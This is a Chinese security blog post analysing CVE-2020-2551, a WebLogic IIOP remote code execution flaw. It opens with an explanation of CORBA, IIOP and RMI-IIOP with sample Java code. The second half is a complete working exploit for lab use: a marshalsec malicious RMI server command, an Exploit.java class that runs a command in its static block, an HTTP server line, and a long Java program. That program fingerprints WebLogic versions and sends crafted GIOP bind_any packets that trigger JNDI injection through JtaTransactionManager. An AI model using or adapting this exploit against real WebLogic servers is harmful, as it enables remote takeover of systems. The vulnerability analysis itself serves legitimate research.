2020年1月,Oracle发布了安全补丁,其中包含编号为CVE-2020-2551,基于CORBA结构下IIOP协议的远程代码执行漏洞。
Object Management Group,对象管理组织。是一个国际化的、开放成员的、非盈利性的计算机行业标准协会,该协会成立于1989年,其职责是为应用开发提供一个公共框架,制订工业指南和对象管理规范,加快对象技术的发展。OMG还制定了广为人知的中间件标准CommonObject Request Broker Architecture (CORBA)
CORBA(Common Object Request Broker Architecture,公共对象请求代理体系结构)是由OMG组织制订的一种标准的面向对象应用程 序体系规范。或者说 CORBA体系结构是OMG为解决分布式处理环境(DCE)中,硬件和软件系统的互连而提出的一种解决方案。
CORBA的重要特征:
1)分布式系统下的跨语言的数据传输
2)远程方法的本地调用
CORBA的三大核心模块:
接口描述语言(或者叫接口定义语言,Interface Definition Language)
对象请求代理(Object Request Broker)
IIOP标准(网络ORB交换协议, Internet Inter ORB Protocol)
IDL(Interface Definition Language)接口定义语言,它主要用于描述软件组件的应用程序编程接口的一种规范语言。它完成了与各种编程语言(Ada、C、C++、Smalltalk、Java等)无关的映射,可以将IDL翻译成各种语言,从而实现了不同语言之间的通信,这样就保证了跨语言跨环境的远程对象调用。
ORB(Object Request Broker)对象请求代理,是建立Client/Server关系的中间件。使用ORB,一个客户可以很简单地使用服务器对象的方法而不论服务器是在同一机器上还是通过一个网络访问。ORB 截获调用然后负责找到一个对象实现这个请求,传递参数和方法,最后返回结果。客户不用知道对象在哪里,是什么语言实现的,他的操作系统以及其他和对象接口无关的东西。
ORBD(The Object Request Broker Daemon)对象请求代理守护程序,当orbd
启动时,它还会启动一个命名服务。ORBD用于使客户端能够透明地定位和调用CORBA环境中服务器上的持久对象。
IOR(Interoperable Object Reference)互操作对象引用,是CORBA或RMI-IIOP中联系方式客户端应用程序用于与CORBA对象进行通信的,用于唯一标识和定位远程CORBA服务器上的对象。IOR是以特定方式编码的文本字符串,它包含足够的信息以允许:
定向到正确服务器的请求(主机,端口号)
要定位或创建的对象(类名,实例数据)
GIOP(General Inter-ORB Protocol)通用对象请求代理间通信协议,提供了一个标准传输语法(低层数据表示方法)和ORB之间通信的信息格式集。GIOP只能用在ORB与ORB之间,而且,只能在符合理想条件的面向连接传输协议中使用。它不需要使用更高一层的RPC机制。
IIOP(Internet Inter-ORB Protocol)网络对象代理间通信协议,指出如何通过TCP/IP连接交换GIOP信息。它是TCP/IP环境下基本的inter-ORB协议(GIOP的具体实现),最普遍的传输层。 GIOP 不基于任何特别的网络协议,OMG 在最广泛使用的通信传输平台 -- TCP/IP 上标准化 GIOP,GIOP 加 TCP/IP 等于 IIOP
POA(Portable Object Adapter)便携式对象适配器,对象适配器是一种机制,服务器端可以创建servant关联的对象引用,并且使用正确的对象引用连接为请求提供服务。
CORBA还可以简单分为三个部分:
启动orbd
,会创建name service
服务。
corba server
使用POA
创建关联的对象引用,并将对象引用注册绑定到name service
,orbd
会拿到注册后的IOR
,以供CORBA client
查询。
corba client
向orbd
发起请求获取name service
,orbd
返回保存的name service
。
corba client
在name service
中查找已经注册的信息获取到“引用”的信息(corba server
的地址等),通过orb
的连接功能将远程方法调用的请求转发到corba server
。
corba server
通过orb
接收请求,并利用POA
拦截请求,将请求中所指定的类封装好,同样通过orb
的连接功能返回给corba client
。
客户端和服务器并不直接通信,客户与远程对象之间采用的代理方式进行Socket
通信。为远程对象分别生成了客户端代理和服务端代理,其中位于客户端的代理类称为Stub
即存根(包含服务器Skeleton
信息),位于服务端的代理类称为Skeleton
即骨干网。
Java自带IDL
编译器,创建IDL
接口文件:
Hello.idl
module HelloApp
{
interface Hello
{
string sayHello();
};
};
模块名称为HelloApp
,接口为Hello
,包含返回值为string
类型的sayHello
方法。
使用IDL
编译器将IDL
接口文件转换为IDL client java
代码:
idlj -fclient Hello.idl
生成HelloApp
文件夹,生成5
个文件
cd HelloApp&&ls
Hello.java HelloHolder.java _HelloStub.java
HelloHelper.java HelloOperations.java
结构及关系:
HelloOperations.java
接口中定义sayHello()
方法
Hello.java
继承HelloOperations.java
_HelloStub.java
类实现了Hello
接口,client side使用hello
接口调用servant side
。
HelloHelper.java
类实现网络传输,数据编码和解码的工作。
使用IDL
编译器将IDL
接口文件转换为servant side java
代码:
idlj -fserver Hello.idl
同样生成HelloApp
文件夹,生成3
个文件
cd HelloApp&&ls
Hello.java HelloOperations.java HelloPOA.java
结构及关系:
多了HelloPOA.java
,其他的和IDL client
生成的代码是一样的。
创建HelloImpl.java
去继承HelloPOA.java
,并完成sayHello
方法的具体实现:
package HelloApp;
public class HelloImpl extends HelloPOA {
@Override
public String sayHello() {
return "Hello, world!";
}
}
ClientSide.java
package HelloApp;
import org.omg.CORBA.ORB;
import org.omg.CosNaming.NamingContextExt;
import org.omg.CosNaming.NamingContextExtHelper;
public class ClientSide {
static Hello helloImpl;
public static void main(String[] args) throws Exception {
args = new String[4];
args[0] = "-ORBInitialPort";
args[1] = "1050";
args[2] = "-ORBInitialHost";
args[3] = "192.168.50.63";
ORB orb = ORB.init(args, null);
org.omg.CORBA.Object objRef = orb.resolve_initial_references("NameService");
NamingContextExt ncRef = NamingContextExtHelper.narrow(objRef);
String name = "Hello-SERVER";
helloImpl = HelloHelper.narrow(ncRef.resolve_str(name));
System.out.println(helloImpl.sayHello());
}
}
创建一个ORB
对象
初始化naming service
的上下文对象,使用ORB
定位Servant Side
,ORB
返回naming service
的对象引用
根据名称字符串在naming service
中获取所需对象的引用。
调用引用对象的方法。
ServantSide.java
package HelloApp;
import org.omg.CORBA.ORB;
import org.omg.CORBA.ORBPackage.InvalidName;
import org.omg.CosNaming.NameComponent;
import org.omg.CosNaming.NamingContextExt;
import org.omg.CosNaming.NamingContextExtHelper;
import org.omg.CosNaming.NamingContextPackage.CannotProceed;
import org.omg.CosNaming.NamingContextPackage.NotFound;
import org.omg.PortableServer.POA;
import org.omg.PortableServer.POAHelper;
import org.omg.PortableServer.POAManagerPackage.AdapterInactive;
import org.omg.PortableServer.POAPackage.ServantNotActive;
import org.omg.PortableServer.POAPackage.WrongPolicy;
public class ServantSide {
public static void main(String[] args) throws InvalidName, AdapterInactive, ServantNotActive, WrongPolicy, org.omg.CosNaming.NamingContextPackage.InvalidName, NotFound, CannotProceed {
args = new String[4];
args[0] = "-ORBInitialPort";
args[1] = "1050";
args[2] = "-ORBInitialHost";
args[3] = "192.168.50.63";
ORB orb = ORB.init(args, null);
POA rootpoa = POAHelper.narrow(orb.resolve_initial_references("RootPOA"));
rootpoa.the_POAManager().activate();
HelloImpl HelloImpl = new HelloImpl();
org.omg.CORBA.Object ref = rootpoa.servant_to_reference(HelloImpl);
Hello hellpRef = HelloHelper.narrow(ref);
org.omg.CORBA.Object objRef = orb.resolve_initial_references("NameService");
NamingContextExt ncRef = NamingContextExtHelper.narrow(objRef);
NameComponent path[] = ncRef.to_name("Hello-SERVER");
ncRef.rebind(path, hellpRef);
System.out.println("Server ready and waiting...");
orb.run();
}
}
服务器端的代码流程:
创建并初始化一个ORB
实例
获取对根POA
的引用并激活 POAManager
创建一个服务实例(一个CORBA Hello
对象的实现 )
获取与servant
关联的对象引用,并使用narrow()
转化为适当的类型。
获取naming service
的上下文对象,该对象是ORB返回naming service
的对象引用。
在naming service
上下文对象中以Hello-SERVER
名称注册新对象引用
等待客户端对新对象的调用
启动JDK
自带的ORBD
,包含Naming Service
orbd -ORBInitialPort 1050 -ORBInitialHost 192.168.50.63
整个目录结构如下:
首先启动ORB
,接着启动ServantSide
,最后运行ClientSide
完成sayHello
调用。
以前,Java 程序员必须针对分布式编程解决方案在 RMI 和 CORBA/IIOP (Java IDL) 之间进行选择。现在,通过遵循一些限制(请参阅在 IIOP 上运行 RMI 程序时的一些限制),RMI 服务器对象可以使用 IIOP 协议,并与任何语言编写的 CORBA 客户端对象进行通信。该解决方案被称为 RMI-IIOP。 RMI-IIOP 结合了 RMI 的易用性与 CORBA 的跨语言互操作性。
通过JDK
自带的ORBD
开启Naming Service
定义接口类,继承java.rmi.Remote
,并且接口中的全部方法抛出RemoteException
异常。
编写接口实现类,实现接口具体操作。
编写服务端类,过程和RMI
相似,绑定Name
和远程对象到Naming Service,运行服务端等待客户端连接。
编写客户端类,客户端去Naming Service查询获取服务端信息,连接并调用。
HelloInterface.java
import java.rmi.Remote;
public interface HelloInterface extends java.rmi.Remote {
public void sayHello( String from ) throws java.rmi.RemoteException;
}
HelloImpl.java
import javax.rmi.PortableRemoteObject;
public class HelloImpl extends PortableRemoteObject implements HelloInterface {
public HelloImpl() throws java.rmi.RemoteException {
super(); // invoke rmi linking and remote object initialization
}
public void sayHello( String from ) throws java.rmi.RemoteException {
System.out.println( "Hello from " + from + "!!" );
System.out.flush();
}
}
HelloServer.java
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.util.Hashtable;
public class HelloServer {
public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory";
public static void main(String[] args) {
try {
//实例化Hello servant
HelloImpl helloRef = new HelloImpl();
//使用JNDI在命名服务中发布引用
InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050");
initialContext.rebind("HelloService", helloRef);
System.out.println("Hello Server Ready...");
Thread.currentThread().join();
} catch (Exception ex) {
ex.printStackTrace();
}
}
private static InitialContext getInitialContext(String url) throws NamingException {
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env.put(Context.PROVIDER_URL, url);
return new InitialContext(env);
}
}
HelloClient.java
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.rmi.PortableRemoteObject;
import java.util.Hashtable;
public class HelloClient {
public static void main( String args[] ) {
Context ic;
Object objref;
HelloInterface hi;
try {
Hashtable env = new Hashtable();
env.put("java.naming.factory.initial", "com.sun.jndi.cosnaming.CNCtxFactory");
env.put("java.naming.provider.url", "iiop://127.0.0.1:1050");
ic = new InitialContext(env);
// STEP 1: Get the Object reference from the Name Service
// using JNDI call.
objref = ic.lookup("HelloService");
System.out.println("Client: Obtained a ref. to Hello server.");
// STEP 2: Narrow the object reference to the concrete type and
// invoke the method.
hi = (HelloInterface) PortableRemoteObject.narrow(
objref, HelloInterface.class);
hi.sayHello( " MARS " );
} catch( Exception e ) {
System.err.println( "Exception " + e + "Caught" );
e.printStackTrace( );
}
}
}
javac编译
javac -Xlint:unchecked -d . -classpath . HelloImpl.java HelloServer.java HelloClient.java
rmic编译
rmic -iiop HelloImpl
生成两个class
文件_HelloImpl_Tie.class
(skeleton)和_HelloInterface_Stub.class
(stub)
启动JDK
自带的ORBD
,包含Naming Service
orbd -ORBInitialPort 1050 -ORBInitialHost 127.0.0.1
运行服务端:
java -classpath . HelloServer
运行客户端:
java -classpath . HelloClient
漏洞环境:
java version "1.8.0_112"
WebLogic 12.2.1.4.0(WebLogic 12.2.1.3.0进行测试失败,不知为何coherence组件不完整)
IDEA DEBUG
Weblogic
开启远程调试:
vim /root/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh
添加配置代码:
debugFlag="true"
export debugFlag
在Middleware
目录下提取全部的jar
、war
包到test
目录。
cd /Users/rai4over/Desktop/weblogic/weblogic_jars/Oracle/Middleware
mkdir test
find ./ -name "*.jar" -exec cp {} ./test/ \;
find ./ -name "*.war" -exec cp {} ./test/ \;
新建IDEA
项目,然后添加包含test
目录到项目的Libraries
。
设置DEBUG
模式为Remote
,端口为与docker
映射出去相同的8453
运行DEBUG
,没有问题则调试端口连接成功,控制台应该输出:
Connected to the target VM, address: 'localhost:8453', transport: 'socket'
开启恶意rmi
服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:80/\#Exploit 1099
创建恶意类Exploit.java
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
public class Exploit implements ObjectFactory
{
static {
System.err.println("Pwned");
try {
String[] cmd = {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"};
java.lang.Runtime.getRuntime().exec(cmd);
} catch ( Exception e ) {
e.printStackTrace();
}
}
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}
编译后同目录使用python
开启FTP
python3 -m http.server --bind 0.0.0.0 80
EXP
package CVE20202551;
import cn.hutool.core.util.HexUtil;
import cn.hutool.core.util.ReUtil;
import org.jsoup.Jsoup;
import org.jsoup.nodes.Document;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
/**
* Title: NewPoc
* Descrption: TODO
* Date:2020/2/26 4:23 下午
* Email:[email protected]
* Company:www.r4v3zn.com
*
* @author R4v3zn
* @version 1.0.0
*/
public class exp {
public static void main(String[] args) throws Exception {
String ip = "127.0.0.1";
int port = 7001;
String ldapUrl = "rmi://127.0.0.1:1099/exp";
poc(ip,port,ldapUrl);
}
public static void poc(String ip, Integer port, String url) throws Exception {
String version = getVersion(ip, port);
System.out.println("weblogic version --> "+version);
Socket socket = null;
try {
socket = new Socket(ip, port);
} catch (IOException e) {
System.out.println("vul error");
return;
}
/* iiop == 1 */
String nameServerMsg = "47494f50010200030000001700000002000000000000000b4e616d6553657276696365";
byte[] nameServerByte = new byte[0];
try {
nameServerByte = sendSocket(nameServerMsg, socket);
} catch (Exception e) {
System.out.println("vul error");
return;
}
String nameServerHex = binaryToHexString(nameServerByte);
// get key
String key = getKeyHex(nameServerHex, true);
if("".equals(key)){
return;
}
// 提取 NAT 网络 IP
String iiopIp = "iiop://"+getIp(new String(nameServerByte));
// key length
String keyLength = addZeroForNum(Integer.toHexString(key.length()/2), 8);
/* iiop == 2 */
// op=_non_existent
String newSend = "000000030300000000000000"+keyLength+key+"0000000e5f6e6f6e5f6578697374656e7400000000000006000000050000001800000000000000010000000a3132372e302e312e3100d80100000006000000f0000000000000002849444c3a6f6d672e6f72672f53656e64696e67436f6e746578742f436f6465426173653a312e30000000000100000000000000b4000102000000000a3132372e302e312e3100d8010000006400424541080103000000000100000000000000000000002849444c3a6f6d672e6f72672f53656e64696e67436f6e746578742f436f6465426173653a312e30000000000331320000000000014245412c000000100000000000000000171db96932f5c18300000001000000010000002c0000000000010020000000030001002000010001050100010001010000000003000101000001010905010001000000010000000c0000000000010020050100010000000f0000002000000000000000000000000000000001000000000000000001000000000000004245410000000005000c020103000000"+setIpHex(iiopIp);
newSend = "47494f5001020000"+addZeroForNum(Integer.toHexString(newSend.length()/2),8)+newSend;
byte[] existentByte = sendSocket(newSend, socket);
// get new key
String newKey = getKeyHex(binaryToHexString(existentByte), false);
if(!"".equals(newKey) && newKey != null){
key = newKey;
}
// key length
keyLength = addZeroForNum(Integer.toHexString(key.length()/2), 8);
/* iiop == 3 */
// op=_non_existent
newSend = "000000040300000000000000"+keyLength+key+"0000000e5f6e6f6e5f6578697374656e7400000000000001"+setIpHex(iiopIp);
newSend = "47494f5001020000"+addZeroForNum(Integer.toHexString(newSend.length()/2),8)+newSend;
sendSocket(newSend, socket);
/* iiop == 4 */
// op=bind_nay
bindAny(key, keyLength, url, socket, version);
}
public static void bindAny(String key, String keyLength,String url, Socket socket, String version) throws Exception {
String checkHex = "47494f50010200010000000d00000004000000000000000000";
// header + length
String header = "47494f5001020000" ;
// request id
String requestId = "00000005";
// response flags
String responseFlags = "03";
// reserved
String reserved = "000000";
// target address
String targetAddress = "0000"+"0000";
// operation length + operation
String operationLength = "0000000962696e645f616e7900";
// body length
String dataLength = addZeroForNum("",8);
String serviceContextList = "00000000000000";
String subData = "";
String tmp = header+dataLength+requestId+responseFlags+reserved+targetAddress+keyLength+key+operationLength+serviceContextList;
System.out.println("字节码余 --> "+(tmp.length()%16));
String padding = "";
int paddingCount = (tmp.length()%16)/2;
// 计算填充字节码
if (paddingCount > 0){
for (int i = 0; i < paddingCount; i++ ) {
padding += "00";
}
}
serviceContextList += padding;
String urlLength = addZeroForNum(Integer.toHexString(url.length()),8);
if(version.contains("12.2.1.3")||version.contains("12.2.1.4")){
/**
* weblogic 12.2.1.3.0 版本 or weblogic 12.2.1.4.0 版本
*/
subData = "000000010000000568656c6c6f00000000000001000000000000001d0000001c000000000000000100000000000000010000000000000000000000007fffff0200000074524d493a636f6d2e6265612e636f72652e72657061636b616765642e737072696e676672616d65776f726b2e7472616e73616374696f6e2e6a74612e4a74615472616e73616374696f6e4d616e616765723a413235363030344146343946393942343a3143464133393637334232343037324400ffffffff0001010000000000000001010101000000000000000000007fffff020000002349444c3a6f6d672e6f72672f434f5242412f57537472696e6756616c75653a312e300000";
}else if(version.contains("10.3.6.0") || version.contains("12.1.3.0")){
/*
weblogic 10.3.6.0.0 版本 or weblogic 12.1.3.0.0 版本
*/
subData += "000000010000000568656c6c6f00000000000001000000000000001d0000001c000000000000000100000000000000010000000000000000000000007fffff0200000074524d493a636f6d2e6265612e636f72652e72657061636b616765642e737072696e676672616d65776f726b2e7472616e73616374696f6e2e6a74612e4a74615472616e73616374696f6e4d616e616765723a304433303438453037423144334237423a3445463345434642423632383938324600ffffffff0001010000000000000001010100000000000000000000007fffff020000002349444c3a6f6d672e6f72672f434f5242412f57537472696e6756616c75653a312e300000";
}else{
System.out.println("vul error");
return;
}
subData += addZeroForNum(Integer.toHexString(url.length()),8);
subData += HexUtil.encodeHexStr(url);
String body = requestId + responseFlags + reserved + targetAddress + keyLength + key + operationLength + serviceContextList + subData;
header += (addZeroForNum(Integer.toHexString(body.length()/2),8)+body);
byte[] bindAnyByte = sendSocket(header, socket);
String bindAny = new String(bindAnyByte);
String bindAnyHex = binaryToHexString(bindAnyByte);
if(bindAny.contains("omg.org/CORBA/MARSHAL:1.0") || checkHex.equals(bindAnyHex) || bindAny.contains("AlreadyBound")){
System.out.println("vul ok");
}else{
System.out.println("vul error");
}
}
/**
* <p>
* get weblogic version
* First get reponse body
* Second get version element by Jsoup
* End get version by regex
* if get version return version data
* </p>
* @param url weblogic url
* @return weblogic version
*/
public static String getVersion(String ip, Integer port) {
String webLogicUrl = "http://"+ip+":"+port;
String version = getVersionByHttp(webLogicUrl);
if("".equals(version)){
version = getVersionByT3(ip, port);
}
return version;
}
/**
* 通过 HTTP 获取 weblogic 版本
* @param url url
* @return 版本号
*/
public static String getVersionByHttp(String url){
String version = "";
url += "/console/login/LoginForm.jsp";
try {
Document doc = Jsoup.connect(url).get();
String versionTmpStr = doc.getElementById("footerVersion").text();
version = getVersion(versionTmpStr);
} catch (Exception e) {
version = "";
}
return version;
}
/**
* 通过 T3 获取 weblogic 版本
* @param ip ip
* @param port 端口
* @return 版本号
*/
public static String getVersionByT3(String ip, Integer port) {
String getVersionMsg = "74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a50553a74333a2f2f75732d6c2d627265656e733a373030310a0a";
String version = "";
try {
Socket socket = new Socket(ip, port);
byte[] rspByte = sendSocket(getVersionMsg, socket);
socket.close();
version = getVersion(new String(rspByte));
} catch (Exception e) {
version = "";
}
return version;
}
public static String getVersion(String content){
content = content.replace("HELO:", "").replace(".false","").replace(".true", "");
String getVersionRegex = "[\\d\\.]+";
List<String> result = ReUtil.findAll(getVersionRegex, content, 0 , new ArrayList<String>());
return result != null && result.size() > 0 ? result.get(0) : "";
}
/**
* 读取响应数据内容
* @param sendMessage 发送内容
* @param socket socket 链接
* @return
* @throws Exception
*/
public static byte[] sendSocket(String sendMessage,Socket socket) throws Exception {
OutputStream out = socket.getOutputStream();
InputStream is = socket.getInputStream();
out.write(hexStrToBinaryStr(sendMessage));
out.flush();
byte[] bytes = new byte[4096];
int length = is.read(bytes);
return Arrays.copyOfRange(bytes, 0,length);
}
public static String addZeroForNum(String str, int strLength) {
int strLen = str.length();
if (strLen < strLength) {
while (strLen < strLength) {
StringBuffer sb = new StringBuffer();
sb.append("0").append(str);// 左补0
// sb.append(str).append("0");//右补0
str = sb.toString();
strLen = str.length();
}
}
return str;
}
/**
* 提取响应内容中的host
* @param content 响应内容信息
* @return
*/
public static String getIp(String content){
Pattern p=Pattern.compile("https?://([\\w\\:.-]+)/");
Matcher m=p.matcher(content);
String ip = "";
if(m.find()){
ip = m.group(1);
}
return ip;
}
/**
* 生成 IP hex码
* @param ip ip地址
* @return
*/
public static String setIpHex(String ip){
return "4245410e000000"+Integer.toHexString(ip.length()+9)+"00000000000000"+Integer.toHexString(ip.length()+1)+HexUtil.encodeHexStr(ip)+"00";
}
/**
* 提取 key hex
* @param rspHex 内容
* @return key hex
*/
public static String getKeyHex(String rspHex, final Boolean flag){
String startHex = "00424541";
int startIndex = -1;
if(flag){
startIndex = rspHex.indexOf(startHex);
}else if(rspHex.contains("0000000300000000")){
return null;
}else{
startIndex = rspHex.lastIndexOf(startHex);
}
if(startIndex != -1) {
int keyLength = Integer.parseInt(rspHex.substring(startIndex-8, startIndex), 16);
// 提取key
return rspHex.substring(startIndex, startIndex + keyLength*2);
}else{
return null;
}
}
/**
* 二进制转换为十六进制
* @param bytes byte数组
* @return 16进制字符串
*/
public static String binaryToHexString(byte[] bytes) {
String hexStr = "0123456789abcdef";
String result = "";
String hex = "";
for (byte b : bytes) {
hex = String.valueOf(hexStr.charAt((b & 0xF0) >> 4));
hex += String.valueOf(hexStr.charAt(b & 0x0F));
result += hex + "";
}
return result;
}
public static byte[] hexStrToBinaryStr(String hexString) {
hexString = hexString.replaceAll(" ", "");
int len = hexString.length();
int index = 0;
byte[] bytes = new byte[len / 2];
while (index < len) {
String sub = hexString.substring(index, index + 2);
bytes[index/2] = (byte)Integer.parseInt(sub,16);
index += 2;
}
return bytes;
}
}
完成RCE,弹出计算器
可以发现EXP
的攻击方式为rebind
,根据CORBA
来看攻击方式,开启IIOP
的Weblogic
属于ORBD
角色并提供了Naming Service
,而攻击方则扮演恶意向Naming Service
注册的servant side
。
根据描述,在关键位置JtaTransactionManager
的readObject
断点
com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager#readObject
跟进initUserTransactionAndTransactionManager
函数
com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager#initUserTransactionAndTransactionManager
根据this.userTransaction
和StringUtils.hasLength(this.userTransactionName)
进入if
分支,并调用lookupUserTransaction
函数。
com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager#lookupUserTransaction
lookup
的参数为恶意rmi
服务地址,进行JNDI
注入,完成RCE
。
https://blog.csdn.net/wangzhezhilu001/article/details/104041995
https://www.cnblogs.com/nliao/p/3308669.html
https://lucifaer.com/2020/02/20/Java%20CORBA%E7%A0%94%E7%A9%B6/
https://github.com/johnngugi/CORBA-Example
https://docs.oracle.com/javase/7/docs/technotes/guides/idl/tutorial/GSserver.html
https://docs.oracle.com/javase/7/docs/technotes/guides/idl/tutorial/GSapp.html
本文作者:Rai4over
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/139999.html